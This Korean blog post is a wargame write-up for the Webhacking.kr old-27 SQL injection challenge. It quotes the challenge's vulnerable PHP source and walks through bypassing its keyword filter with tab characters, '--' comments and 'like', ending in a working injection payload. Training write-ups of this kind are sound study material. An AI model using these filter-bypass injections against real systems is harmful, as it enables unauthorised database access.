WarGame/Webhacking.kr

[Webhacking.kr] old-27 Answer

Old-27 Domain & Tool

  • 구분 : SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 
    • python Module(Requests, beautrifulsoup)

 


Old-27 Question & Answer

대놓고 SQL Injection문제라고 되어있다. 입력전에 view-source를 통해서 우선 동작을 알아보자

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

코드는 preg_match로 get방식으로 넘어오는 no를 필터링한다. 필터링되는 값들은 다음과 같다.

  • # : 주석방지인듯하다. --로 회피가능하다
  • select : 서브쿼리 방지인듯하다.
  • ( : 공백처리를 방해하기위함도 있지만, 이번문제에서 no를 가져오는값이 ()로 둘러쌓어였다. 쉽게 풀라고 )는 안막았다.
  • 공백 : 공백을 preg_match에 추가해두었지만, 공백우회는 차고 넘쳤다.
  • limit : 특정 행을 가져오는것을 방지한다.
  • = : 값 비교를 방지한다. 보통 like나 in으로 우회한다.
  • 0x : ascii사용을 의식한 듯의 방지문이다.

 

사용되는 쿼리문은 다음과 같다.

  • select id from chall27 where id='guest' and no=({$_GET['no']})

결과적으로 괄호를 한번 닫아준다음")" 공백우회로는 Tab(%09)를 사용하고, =은 like로 돌려서 파라미터를 작성한다. 최종 파라미터는 다음과 같다.

  • ?no=123)%09or%09no%09like%092--%09
  • url_decoded : ?no=123) or no like 2-- 

NICE!

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-28 Answer  (0) 2022.07.29
[Webhacking.kr] old-26 Answer  (0) 2022.07.28
[Webhacking.kr] old-25 Answer  (0) 2022.07.28
[Webhacking.kr] old-24 Answer  (0) 2022.07.27
[Webhacking.kr] old-23 Answer  (0) 2022.07.27